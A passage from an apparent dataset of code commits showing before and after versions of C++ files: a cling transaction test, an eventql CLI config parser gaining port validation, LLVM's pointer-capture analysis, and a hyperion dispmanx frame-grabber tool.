\"cling\/Interpreter\/Transaction.h\"\n\n#include \"clang\/AST\/Decl.h\"\n\n#include <stdio.h>\n\n.rawInput 1\n\nusing namespace cling;\n\nvoid generateNestedTransaction(int depth) {\n if (!depth)\n return;\n cling::Interpreter::PushTransactionRAII RAIIT(gCling);\n if (depth | 0x1) { \/\/ if odd\n char buff[100];\n sprintf(buff, \"int i%d;\", depth);\n gCling->process(buff);\n } \/\/ this will cause every even transaction to be reused.\n generateNestedTransaction(--depth); \n}\n\n.rawInput 0\n\ngenerateNestedTransaction(5);\nconst cling::Transaction* T = gCling->getFirstTransaction();\nwhile(T) {\n if (!T->size())\n printf(\"Empty transaction detected!\\n\");\n if (T->getWrapperFD()->getKind() != clang::Decl::Function)\n printf(\"Unexpected wrapper kind!\\n\");\n if (T->getState() != Transaction::kCommitted)\n printf(\"Unexpected transaction state!\\n\");\n \/\/T->printStructure();\n T = T->getNext();\n}\nprintf(\"Just make FileCheck(CHECK-NOT) happy.\\n\")\n\/\/CHECK-NOT:Empty transaction detected!\n\/\/CHECK-NOT:Unexpected wrapper kind!\n\/\/CHECK-NOT:Unexpected transaction state!\n.q\n<commit_msg>Some transactions don't have a wrapper.<commit_after>\/\/ RUN: cat %s | %cling | FileCheck %s\n\n\/\/ This test makes sure the interpreter doesn't create many useless empty\n\/\/ transactions.\n\n\/\/ Author: Vassil Vassilev\n\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include \"cling\/Interpreter\/Transaction.h\"\n\n#include \"clang\/AST\/Decl.h\"\n\n#include <stdio.h>\n\n.rawInput 1\n\nusing namespace cling;\n\nvoid generateNestedTransaction(int depth) {\n if (!depth)\n return;\n cling::Interpreter::PushTransactionRAII RAIIT(gCling);\n if (depth | 0x1) { \/\/ if odd\n char buff[100];\n sprintf(buff, \"int i%d;\", depth);\n gCling->process(buff);\n } \/\/ this will cause every even transaction to be reused.\n generateNestedTransaction(--depth); \n}\n\n.rawInput 0\n\ngenerateNestedTransaction(5);\nconst cling::Transaction* T = gCling->getFirstTransaction();\nwhile(T) {\n if (!T->size())\n printf(\"Empty transaction detected!\\n\");\n else if (T->getWrapperFD() && T->getWrapperFD()->getKind() != clang::Decl::Function)\n printf(\"Unexpected wrapper kind!\\n\");\n if (T->getState() != Transaction::kCommitted)\n printf(\"Unexpected transaction state!\\n\");\n \/\/T->printStructure();\n T = T->getNext();\n}\nprintf(\"Just make FileCheck(CHECK-NOT) happy.\\n\")\n\/\/CHECK-NOT:Empty transaction detected!\n\/\/CHECK-NOT:Unexpected wrapper kind!\n\/\/CHECK-NOT:Unexpected transaction state!\n.q\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2016 zScale Technology GmbH <legal@zscale.io>\n * Authors:\n * - Paul Asmuth <paul@zscale.io>\n * - Laura Schlimmer <laura@zscale.io>\n *\n * This program is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License (\"the license\") as\n * published by the Free Software Foundation, either version 3 of the License,\n * or any later version.\n *\n * In accordance with Section 7(e) of the license, the licensing of the Program\n * under the license does not imply a trademark license. Therefore any rights,\n * title and interest in our trademarks remain entirely with us.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the license for more details.\n *\n * You can be released from the requirements of the license by purchasing a\n * commercial license. Buying such a license is mandatory as soon as you develop\n * commercial activities involving this program without disclosing the source\n * code of your own applications\n *\/\n#include <eventql\/cli\/cli_config.h>\n#include <eventql\/util\/inspect.h>\n#include <eventql\/util\/io\/fileutil.h>\n#include <inih\/ini.h>\n\nnamespace eventql {\nnamespace cli {\n\nstruct IniParserState {\n IniParserState(CLIConfig* _cfg) : cfg(_cfg), status(Status::success()) {}\n CLIConfig* cfg;\n Status status;\n};\n\nstatic int ini_parse_handler(\n void* user,\n const char* section,\n const char* name,\n const char* value) {\n auto parser_state = (IniParserState*) user;\n auto status = parser_state->cfg->setConfigOption(section, name, value);\n if (status.isSuccess()) {\n return 1;\n } else {\n parser_state->status = status;\n return 0;\n }\n}\n\nCLIConfig::CLIConfig() {}\n\nStatus CLIConfig::loadDefaultConfigFile() {\n char* homedir = getenv(\"HOME\");\n if (!homedir) {\n return Status::success();\n }\n\n String confg_file_path = FileUtil::joinPaths(homedir, \".evqlrc\");\n if (!FileUtil::exists(confg_file_path)) {\n return Status::success();\n }\n\n return loadConfigFile(confg_file_path);\n}\n\nStatus CLIConfig::loadConfigFile(const String& config_file) {\n IniParserState parser_state(this);\n if (ini_parse(config_file.c_str(), &ini_parse_handler, &parser_state) < 0) {\n parser_state.status = Status(eParseError, \"invalid config file\");\n }\n\n return parser_state.status;\n}\n\nStatus CLIConfig::setConfigOption(\n const String& section,\n const String& key,\n const String& value) {\n if (section == \"evql\") {\n if (key == \"host\") {\n return setHost(value);\n }\n if (key == \"port\") {\n return setPort(stoi(value));\n }\n if (key == \"auth_token\") {\n return setAuthToken(value);\n }\n if (key == \"batch_mode\") {\n return setBatchMode(value);\n }\n }\n return Status(eParseError);\n}\n\nStatus CLIConfig::setHost(const String& host \/* = \"localhost\" *\/) {\n \/\/FIXME check host format\n server_host_ = host;\n return Status::success();\n}\n\nStatus CLIConfig::setPort(const int port \/* = 80 *\/) {\n \/\/FIXME check port format\n server_port_ = port;\n return Status::success();\n}\n\nStatus CLIConfig::setAuthToken(const String& auth_token) {\n \/\/FIXME check auth format\n server_auth_token_ = auth_token;\n return Status::success();\n}\n\nStatus CLIConfig::setBatchMode(const String& batch_mode) {\n if (batch_mode == \"false\") {\n batch_mode_ = false;\n return Status::success();\n } else if (batch_mode == \"true\") {\n batch_mode_ = true;\n return Status::success();\n } else {\n return Status(eParseError);\n }\n}\n\nOption<String> CLIConfig::getHost() const {\n if (server_host_.size() > 0) {\n return Some<String>(server_host_);\n } else {\n return None<String>();\n }\n}\n\nOption<int> CLIConfig::getPort() const {\n if (server_port_) {\n return Some<int>(server_port_);\n } else {\n return None<int>();\n }\n}\n\nOption<String> CLIConfig::getAuthToken() const {\n if (server_auth_token_.size() > 0) {\n return Some<String>(server_auth_token_);\n } else {\n return None<String>();\n }\n}\n\nOption<String> CLIConfig::getFile() const {\n return file_;\n}\n\nOption<String> CLIConfig::getExec() const {\n return exec_;\n}\n\nOption<bool> CLIConfig::getBatchMode() const {\n return batch_mode_;\n}\n\n} \/\/ namespace cli\n} \/\/ namespace eventql\n\n\n\n<commit_msg>validate port number<commit_after>\/**\n * Copyright (c) 2016 zScale Technology GmbH <legal@zscale.io>\n * Authors:\n * - Paul Asmuth <paul@zscale.io>\n * - Laura Schlimmer <laura@zscale.io>\n *\n * This program is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License (\"the license\") as\n * published by the Free Software Foundation, either version 3 of the License,\n * or any later version.\n *\n * In accordance with Section 7(e) of the license, the licensing of the Program\n * under the license does not imply a trademark license. Therefore any rights,\n * title and interest in our trademarks remain entirely with us.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the license for more details.\n *\n * You can be released from the requirements of the license by purchasing a\n * commercial license. Buying such a license is mandatory as soon as you develop\n * commercial activities involving this program without disclosing the source\n * code of your own applications\n *\/\n#include <eventql\/cli\/cli_config.h>\n#include <eventql\/util\/inspect.h>\n#include <eventql\/util\/io\/fileutil.h>\n#include <inih\/ini.h>\n\nnamespace eventql {\nnamespace cli {\n\nstruct IniParserState {\n IniParserState(CLIConfig* _cfg) : cfg(_cfg), status(Status::success()) {}\n CLIConfig* cfg;\n Status status;\n};\n\nstatic int ini_parse_handler(\n void* user,\n const char* section,\n const char* name,\n const char* value) {\n auto parser_state = (IniParserState*) user;\n auto status = parser_state->cfg->setConfigOption(section, name, value);\n if (status.isSuccess()) {\n return 1;\n } else {\n parser_state->status = status;\n return 0;\n }\n}\n\nCLIConfig::CLIConfig() {}\n\nStatus CLIConfig::loadDefaultConfigFile() {\n char* homedir = getenv(\"HOME\");\n if (!homedir) {\n return Status::success();\n }\n\n String confg_file_path = FileUtil::joinPaths(homedir, \".evqlrc\");\n if (!FileUtil::exists(confg_file_path)) {\n return Status::success();\n }\n\n return loadConfigFile(confg_file_path);\n}\n\nStatus CLIConfig::loadConfigFile(const String& config_file) {\n IniParserState parser_state(this);\n if (ini_parse(config_file.c_str(), &ini_parse_handler, &parser_state) < 0) {\n parser_state.status = Status(eParseError, \"invalid config file\");\n }\n\n return parser_state.status;\n}\n\nStatus CLIConfig::setConfigOption(\n const String& section,\n const String& key,\n const String& value) {\n if (section == \"evql\") {\n if (key == \"host\") {\n return setHost(value);\n }\n if (key == \"port\") {\n return setPort(stoi(value));\n }\n if (key == \"auth_token\") {\n return setAuthToken(value);\n }\n if (key == \"batch_mode\") {\n return setBatchMode(value);\n }\n }\n return Status(eParseError);\n}\n\nStatus CLIConfig::setHost(const String& host \/* = \"localhost\" *\/) {\n server_host_ = host; \/\/FIXME check host format\n return Status::success();\n}\n\nStatus CLIConfig::setPort(const int port \/* = 80 *\/) {\n if (port < 0 || port > 65535) {\n return Status(eFlagError, StringUtil::format(\"invalid port: $0\", port));\n }\n\n server_port_ = port;\n return Status::success();\n}\n\nStatus CLIConfig::setAuthToken(const String& auth_token) {\n server_auth_token_ = auth_tokken;\n return Status::success();\n}\n\nStatus CLIConfig::setBatchMode(const String& batch_mode) {\n if (batch_mode == \"false\") {\n batch_mode_ = false;\n return Status::success();\n } else if (batch_mode == \"true\") {\n batch_mode_ = true;\n return Status::success();\n } else {\n return Status(eParseError);\n }\n}\n\nOption<String> CLIConfig::getHost() const {\n if (server_host_.size() > 0) {\n return Some<String>(server_host_);\n } else {\n return None<String>();\n }\n}\n\nOption<int> CLIConfig::getPort() const {\n if (server_port_) {\n return Some<int>(server_port_);\n } else {\n return None<int>();\n }\n}\n\nOption<String> CLIConfig::getAuthToken() const {\n if (server_auth_token_.size() > 0) {\n return Some<String>(server_auth_token_);\n } else {\n return None<String>();\n }\n}\n\nOption<String> CLIConfig::getFile() const {\n return file_;\n}\n\nOption<String> CLIConfig::getExec() const {\n return exec_;\n}\n\nOption<bool> CLIConfig::getBatchMode() const {\n return batch_mode_;\n}\n\n} \/\/ namespace cli\n} \/\/ namespace eventql\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- CaptureTracking.cpp - Determine whether a pointer is captured ----===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains routines that help determine which pointers are captured.\n\/\/ A pointer value is captured if the function makes a copy of any part of the\n\/\/ pointer that outlives the call. Not being captured means, more or less, that\n\/\/ the pointer is only dereferenced and not stored in a global. Returning part\n\/\/ of the pointer as the function return value may or may not count as capturing\n\/\/ the pointer, depending on the context.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Analysis\/CaptureTracking.h\"\n#include \"llvm\/Instructions.h\"\n#include \"llvm\/Value.h\"\n#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/ADT\/SmallSet.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/Support\/CallSite.h\"\nusing namespace llvm;\n\n\/\/\/ As its comment mentions, PointerMayBeCaptured can be expensive.\n\/\/\/ However, it's not easy for BasicAA to cache the result, because\n\/\/\/ it's an ImmutablePass. To work around this, bound queries at a\n\/\/\/ fixed number of uses.\n\/\/\/\n\/\/\/ TODO: Write a new FunctionPass AliasAnalysis so that it can keep\n\/\/\/ a cache. Then we can move the code from BasicAliasAnalysis into\n\/\/\/ that path, and remove this threshold.\nstatic int const Threshold = 20;\n\n\/\/\/ PointerMayBeCaptured - Return true if this pointer value may be captured\n\/\/\/ by the enclosing function (which is required to exist). This routine can\n\/\/\/ be expensive, so consider caching the results. The boolean ReturnCaptures\n\/\/\/ specifies whether returning the value (or part of it) from the function\n\/\/\/ counts as capturing it or not. The boolean StoreCaptures specified whether\n\/\/\/ storing the value (or part of it) into memory anywhere automatically\n\/\/\/ counts as capturing it or not.\nbool llvm::PointerMayBeCaptured(const Value *V,\n bool ReturnCaptures, bool StoreCaptures) {\n assert(isa<PointerType>(V->getType()) && \"Capture is for pointers only!\");\n SmallVector<Use*, 16> Worklist;\n SmallSet<Use*, 16> Visited;\n int Count = 0;\n\n for (Value::use_const_iterator UI = V->use_begin(), UE = V->use_end();\n UI != UE; ++UI) {\n Use *U = &UI.getUse();\n Visited.insert(U);\n Worklist.push_back(U);\n\n \/\/ If there are lots of uses, conservativelty say that the value\n \/\/ is captured to avoid taking too much compile time.\n if (Count++ >= Threshold)\n return true;\n }\n\n while (!Worklist.empty()) {\n Use *U = Worklist.pop_back_val();\n Instruction *I = cast<Instruction>(U->getUser());\n V = U->get();\n\n switch (I->getOpcode()) {\n case Instruction::Call:\n case Instruction::Invoke: {\n CallSite CS = CallSite::get(I);\n \/\/ Not captured if the callee is readonly, doesn't return a copy through\n \/\/ its return value and doesn't unwind (a readonly function can leak bits\n \/\/ by throwing an exception or not depending on the input value).\n if (CS.onlyReadsMemory() && CS.doesNotThrow() && I->getType()->isVoidTy())\n break;\n\n \/\/ Not captured if only passed via 'nocapture' arguments. Note that\n \/\/ calling a function pointer does not in itself cause the pointer to\n \/\/ be captured. This is a subtle point considering that (for example)\n \/\/ the callee might return its own address. It is analogous to saying\n \/\/ that loading a value from a pointer does not cause the pointer to be\n \/\/ captured, even though the loaded value might be the pointer itself\n \/\/ (think of self-referential objects).\n CallSite::arg_iterator B = CS.arg_begin(), E = CS.arg_end();\n for (CallSite::arg_iterator A = B; A != E; ++A)\n if (A->get() == V && !CS.paramHasAttr(A - B + 1, Attribute::NoCapture))\n \/\/ The parameter is not marked 'nocapture' - captured.\n return true;\n \/\/ Only passed via 'nocapture' arguments, or is the called function - not\n \/\/ captured.\n break;\n }\n case Instruction::Load:\n \/\/ Loading from a pointer does not cause it to be captured.\n break;\n case Instruction::Ret:\n if (ReturnCaptures)\n return true;\n break;\n case Instruction::Store:\n if (V == I->getOperand(0))\n \/\/ Stored the pointer - conservatively assume it may be captured.\n \/\/ TODO: If StoreCaptures is not true, we could do Fancy analysis\n \/\/ to determine whether this store is not actually an escape point.\n \/\/ In that case, BasicAliasAnalysis should be updated as well to\n \/\/ take advantage of this.\n return true;\n \/\/ Storing to the pointee does not cause the pointer to be captured.\n break;\n case Instruction::BitCast:\n case Instruction::GetElementPtr:\n case Instruction::PHI:\n case Instruction::Select:\n \/\/ The original value is not captured via this if the new value isn't.\n for (Instruction::use_iterator UI = I->use_begin(), UE = I->use_end();\n UI != UE; ++UI) {\n Use *U = &UI.getUse();\n if (Visited.insert(U))\n Worklist.push_back(U);\n }\n break;\n case Instruction::ICmp:\n \/\/ Don't count comparisons of a no-alias return value against null as\n \/\/ captures. This allows us to ignore comparisons of malloc results\n \/\/ with null, for example.\n if (isNoAliasCall(V->stripPointerCasts()))\n if (ConstantPointerNull *CPN =\n dyn_cast<ConstantPointerNull>(I->getOperand(1)))\n if (CPN->getType()->getAddressSpace() == 0)\n break;\n \/\/ Otherwise, be conservative. There are crazy ways to capture pointers\n \/\/ using comparisons.\n return true;\n default:\n \/\/ Something else - be conservative and say it is captured.\n return true;\n }\n }\n\n \/\/ All uses examined - not captured.\n return false;\n}\n<commit_msg>Fix a typo in a comment, and adjust SmallSet and SmallVector sizes, that Chris noticed.<commit_after>\/\/===--- CaptureTracking.cpp - Determine whether a pointer is captured ----===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains routines that help determine which pointers are captured.\n\/\/ A pointer value is captured if the function makes a copy of any part of the\n\/\/ pointer that outlives the call. Not being captured means, more or less, that\n\/\/ the pointer is only dereferenced and not stored in a global. Returning part\n\/\/ of the pointer as the function return value may or may not count as capturing\n\/\/ the pointer, depending on the context.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Analysis\/CaptureTracking.h\"\n#include \"llvm\/Instructions.h\"\n#include \"llvm\/Value.h\"\n#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/ADT\/SmallSet.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/Support\/CallSite.h\"\nusing namespace llvm;\n\n\/\/\/ As its comment mentions, PointerMayBeCaptured can be expensive.\n\/\/\/ However, it's not easy for BasicAA to cache the result, because\n\/\/\/ it's an ImmutablePass. To work around this, bound queries at a\n\/\/\/ fixed number of uses.\n\/\/\/\n\/\/\/ TODO: Write a new FunctionPass AliasAnalysis so that it can keep\n\/\/\/ a cache. Then we can move the code from BasicAliasAnalysis into\n\/\/\/ that path, and remove this threshold.\nstatic int const Threshold = 20;\n\n\/\/\/ PointerMayBeCaptured - Return true if this pointer value may be captured\n\/\/\/ by the enclosing function (which is required to exist). This routine can\n\/\/\/ be expensive, so consider caching the results. The boolean ReturnCaptures\n\/\/\/ specifies whether returning the value (or part of it) from the function\n\/\/\/ counts as capturing it or not. The boolean StoreCaptures specified whether\n\/\/\/ storing the value (or part of it) into memory anywhere automatically\n\/\/\/ counts as capturing it or not.\nbool llvm::PointerMayBeCaptured(const Value *V,\n bool ReturnCaptures, bool StoreCaptures) {\n assert(isa<PointerType>(V->getType()) && \"Capture is for pointers only!\");\n SmallVector<Use*, 20> Worklist;\n SmallSet<Use*, 20> Visited;\n int Count = 0;\n\n for (Value::use_const_iterator UI = V->use_begin(), UE = V->use_end();\n UI != UE; ++UI) {\n \/\/ If there are lots of uses, conservatively say that the value\n \/\/ is captured to avoid taking too much compile time.\n if (Count++ >= Threshold)\n return true;\n\n Use *U = &UI.getUse();\n Visited.insert(U);\n Worklist.push_back(U);\n }\n\n while (!Worklist.empty()) {\n Use *U = Worklist.pop_back_val();\n Instruction *I = cast<Instruction>(U->getUser());\n V = U->get();\n\n switch (I->getOpcode()) {\n case Instruction::Call:\n case Instruction::Invoke: {\n CallSite CS = CallSite::get(I);\n \/\/ Not captured if the callee is readonly, doesn't return a copy through\n \/\/ its return value and doesn't unwind (a readonly function can leak bits\n \/\/ by throwing an exception or not depending on the input value).\n if (CS.onlyReadsMemory() && CS.doesNotThrow() && I->getType()->isVoidTy())\n break;\n\n \/\/ Not captured if only passed via 'nocapture' arguments. Note that\n \/\/ calling a function pointer does not in itself cause the pointer to\n \/\/ be captured. This is a subtle point considering that (for example)\n \/\/ the callee might return its own address. It is analogous to saying\n \/\/ that loading a value from a pointer does not cause the pointer to be\n \/\/ captured, even though the loaded value might be the pointer itself\n \/\/ (think of self-referential objects).\n CallSite::arg_iterator B = CS.arg_begin(), E = CS.arg_end();\n for (CallSite::arg_iterator A = B; A != E; ++A)\n if (A->get() == V && !CS.paramHasAttr(A - B + 1, Attribute::NoCapture))\n \/\/ The parameter is not marked 'nocapture' - captured.\n return true;\n \/\/ Only passed via 'nocapture' arguments, or is the called function - not\n \/\/ captured.\n break;\n }\n case Instruction::Load:\n \/\/ Loading from a pointer does not cause it to be captured.\n break;\n case Instruction::Ret:\n if (ReturnCaptures)\n return true;\n break;\n case Instruction::Store:\n if (V == I->getOperand(0))\n \/\/ Stored the pointer - conservatively assume it may be captured.\n \/\/ TODO: If StoreCaptures is not true, we could do Fancy analysis\n \/\/ to determine whether this store is not actually an escape point.\n \/\/ In that case, BasicAliasAnalysis should be updated as well to\n \/\/ take advantage of this.\n return true;\n \/\/ Storing to the pointee does not cause the pointer to be captured.\n break;\n case Instruction::BitCast:\n case Instruction::GetElementPtr:\n case Instruction::PHI:\n case Instruction::Select:\n \/\/ The original value is not captured via this if the new value isn't.\n for (Instruction::use_iterator UI = I->use_begin(), UE = I->use_end();\n UI != UE; ++UI) {\n Use *U = &UI.getUse();\n if (Visited.insert(U))\n Worklist.push_back(U);\n }\n break;\n case Instruction::ICmp:\n \/\/ Don't count comparisons of a no-alias return value against null as\n \/\/ captures. This allows us to ignore comparisons of malloc results\n \/\/ with null, for example.\n if (isNoAliasCall(V->stripPointerCasts()))\n if (ConstantPointerNull *CPN =\n dyn_cast<ConstantPointerNull>(I->getOperand(1)))\n if (CPN->getType()->getAddressSpace() == 0)\n break;\n \/\/ Otherwise, be conservative. There are crazy ways to capture pointers\n \/\/ using comparisons.\n return true;\n default:\n \/\/ Something else - be conservative and say it is captured.\n return true;\n }\n }\n\n \/\/ All uses examined - not captured.\n return false;\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ STL includes\n#include <csignal>\n#include <iomanip>\n\n\/\/ QT includes\n#include <QImage>\n\n\/\/ getoptPlusPLus includes\n#include <getoptPlusPlus\/getoptpp.h>\n\n\/\/ Dispmanx grabber includes\n#include <grabber\/dispmanx\/DispmanxFrameGrabber.h>\n\nusing namespace vlofgren;\n\nstatic bool running = true;\n\nvoid signal_handler(int signum)\n{\n\trunning = false;\n}\n\nint main(int argc, char** argv)\n{\n\tsignal(SIGTERM, signal_handler);\n\tsignal(SIGINT, signal_handler);\n\n\tint grabFlags = 0;\n\tint grabCount = -1;\n\ttry\n\t{\n\t\t\/\/ create the option parser and initialize all parameters\n\t\tOptionsParser optionParser(\"Simple application to send a command to hyperion using the Json interface\");\n\t\tParameterSet & parameters = optionParser.getParameters();\n\n\t\tQString flagDescr = QString(\"Set the grab flags of the dispmanx frame grabber [default: 0x%1]\").arg(grabFlags, 8, 16, QChar('0'));\n\t\tStringParameter & argFlags = parameters.add<StringParameter> ('f', \"flags\", flagDescr.toAscii().constData());\n\t\tIntParameter & argCount = parameters.add<IntParameter> ('n', \"count\", \"Number of images to capture (default infinite)\");\n\t\targCount.setDefault(grabCount);\n\t\tSwitchParameter<> & argList = parameters.add<SwitchParameter<> >('l', \"list\", \"List the possible flags\");\n\t\tSwitchParameter<> & argHelp = parameters.add<SwitchParameter<> >('h', \"help\", \"Show this help message and exit\");\n\n\t\t\/\/ parse all options\n\t\toptionParser.parse(argc, const_cast<const char **>(argv));\n\n\t\t\/\/ check if we need to display the usage. exit if we do.\n\t\tif (argHelp.isSet())\n\t\t{\n\t\t\toptionParser.usage();\n\t\t\treturn 0;\n\t\t}\n\t\tif (argList.isSet())\n\t\t{\n\t\t\tstd::cout.width(15);\n\t\t\tstd::cout.width(10);\n\t\t\tstd::cout << \"Possible DISPMANX flags: \" << std::endl;\n\t\t\tstd::cout << \"Name | \" << \"Value\" << std::endl;\n\t\t\tstd::cout << \"--------------------------------| \" << \"------\" << std::endl;\n\t\t\tstd::cout << \"DISPMANX_NO_ROTATE | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_NO_ROTATE << std::endl;\n\t\t\tstd::cout << \"DISPMANX_ROTATE_90 | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_ROTATE_90 << std::endl;\n\t\t\tstd::cout << \"DISPMANX_ROTATE_180 | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_ROTATE_180 << std::endl;\n\t\t\tstd::cout << \"DISPMANX_ROTATE_270 | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_ROTATE_270 << std::endl;\n\n\t\t\tstd::cout << \"DISPMANX_FLIP_HRIZ | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_FLIP_HRIZ << std::endl;\n\t\t\tstd::cout << \"DISPMANX_FLIP_VERT | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_FLIP_VERT << std::endl;\n\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_NO_YUV | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_NO_YUV << std::endl;\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_NO_RGB | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_NO_RGB << std::endl;\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_FILL | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_FILL << std::endl;\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_SWAP_RED_BLUE | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_SWAP_RED_BLUE << std::endl;\n\t\t\tstd::cout << \"DISPMANX_SNAPSHOT_PACK | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_SNAPSHOT_PACK << std::endl;\n\t\t\treturn 0;\n\t\t}\n\t\tif (argFlags.isSet())\n\t\t{\n\t\t\tQString flagStr = QString::fromStdString(argFlags.getValue());\n\n\t\t\tbool ok = false;\n\/\/\t\t\tgrabFlags = flagStr.toInt(&ok);\n\t\t\tif (flagStr.startsWith(\"0x\"))\n\t\t\t{\n\t\t\t\tgrabFlags = flagStr.toInt(&ok, 16);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tgrabFlags = flagStr.toInt(&ok, 10);\n\t\t\t}\n\t\t\tstd::cout << \"Resulting flags: \" << grabFlags << \" (=0x\" << std::hex << std::setfill('0') << std::setw(8) << grabFlags << \")\" << std::dec << std::endl;\n\t\t\tif (!ok)\n\t\t\t{\n\t\t\t\tstd::cerr << \"Failed to parse flags (\" << flagStr.toStdString().c_str() << \")\" << std::endl;\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\tgrabCount = argCount.getValue();\n\t}\n\tcatch (const std::runtime_error & e)\n\t{\n\t\t\/\/ An error occured. Display error and quit\n\t\tstd::cerr << e.what() << std::endl;\n\t\treturn 1;\n\t}\n\n\n\tDispmanxFrameGrabber frameGrabber(64, 64);\n\tframeGrabber.setFlags(grabFlags);\n\n\tunsigned iFrame = 0;\n\tQImage qImage(64, 64, QImage::Format_ARGB32);\n\tImage<ColorRgba> imageRgba(64, 64);\n\n\tfor (int i=0; i<grabCount || grabCount < 0; ++i)\n\t{\n\t\tframeGrabber.grabFrame(imageRgba);\n\n\t\tfor (int iScanline=0; iScanline<qImage.height(); ++iScanline)\n\t\t{\n\t\t\tunsigned char* scanLinePtr = qImage.scanLine(iScanline);\n\t\t\tmemcpy(scanLinePtr, imageRgba.memptr()+imageRgba.width()*iScanline, imageRgba.width()*sizeof(ColorRgba));\n\t\t}\n\n\t\tconst QImage qImageSwp = qImage.rgbSwapped();\n\t\tqImageSwp.save(QString(\"HYPERION_f0x%1_%2.png\").arg(grabFlags, 8, 16, QChar('0')).arg(iFrame));\n\t\t++iFrame;\n\n\t\ttimespec sleepTime;\n\t\tsleepTime.tv_sec = 1;\n\t\tsleepTime.tv_nsec = 0;\n\t\tnanosleep(&sleepTime, NULL);\n\t}\n\n\treturn 0;\n}\n\n<commit_msg>fix compile on raspi<commit_after>\n\/\/ STL includes\n#include <csignal>\n#include <iomanip>\n\n\/\/ QT includes\n#include <QImage>\n\n\/\/ getoptPlusPLus includes\n#include <getoptPlusPlus\/getoptpp.h>\n\n\/\/ Dispmanx grabber includes\n#include <grabber\/DispmanxFrameGrabber.h>\n\nusing namespace vlofgren;\n\nstatic bool running = true;\n\nvoid signal_handler(int signum)\n{\n\trunning = false;\n}\n\nint main(int argc, char** argv)\n{\n\tsignal(SIGTERM, signal_handler);\n\tsignal(SIGINT, signal_handler);\n\n\tint grabFlags = 0;\n\tint grabCount = -1;\n\ttry\n\t{\n\t\t\/\/ create the option parser and initialize all parameters\n\t\tOptionsParser optionParser(\"Simple application to send a command to hyperion using the Json interface\");\n\t\tParameterSet & parameters = optionParser.getParameters();\n\n\t\tQString flagDescr = QString(\"Set the grab flags of the dispmanx frame grabber [default: 0x%1]\").arg(grabFlags, 8, 16, QChar('0'));\n\t\tStringParameter & argFlags = parameters.add<StringParameter> ('f', \"flags\", flagDescr.toAscii().constData());\n\t\tIntParameter & argCount = parameters.add<IntParameter> ('n', \"count\", \"Number of images to capture (default infinite)\");\n\t\targCount.setDefault(grabCount);\n\t\tSwitchParameter<> & argList = parameters.add<SwitchParameter<> >('l', \"list\", \"List the possible flags\");\n\t\tSwitchParameter<> & argHelp = parameters.add<SwitchParameter<> >('h', \"help\", \"Show this help message and exit\");\n\n\t\t\/\/ parse all options\n\t\toptionParser.parse(argc, const_cast<const char **>(argv));\n\n\t\t\/\/ check if we need to display the usage. exit if we do.\n\t\tif (argHelp.isSet())\n\t\t{\n\t\t\toptionParser.usage();\n\t\t\treturn 0;\n\t\t}\n\t\tif (argList.isSet())\n\t\t{\n\t\t\tstd::cout.width(15);\n\t\t\tstd::cout.width(10);\n\t\t\tstd::cout << \"Possible DISPMANX flags: \" << std::endl;\n\t\t\tstd::cout << \"Name | \" << \"Value\" << std::endl;\n\t\t\tstd::cout << \"--------------------------------| \" << \"------\" << std::endl;\n\t\t\tstd::cout << \"DISPMANX_NO_ROTATE | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_NO_ROTATE << std::endl;\n\t\t\tstd::cout << \"DISPMANX_ROTATE_90 | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_ROTATE_90 << std::endl;\n\t\t\tstd::cout << \"DISPMANX_ROTATE_180 | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_ROTATE_180 << std::endl;\n\t\t\tstd::cout << \"DISPMANX_ROTATE_270 | 0x\" << std::hex << std::setfill('0') << std::setw(8) << DISPMANX_ROTATE_270 << std::endl;\n\n\t\t\tstd::cout << 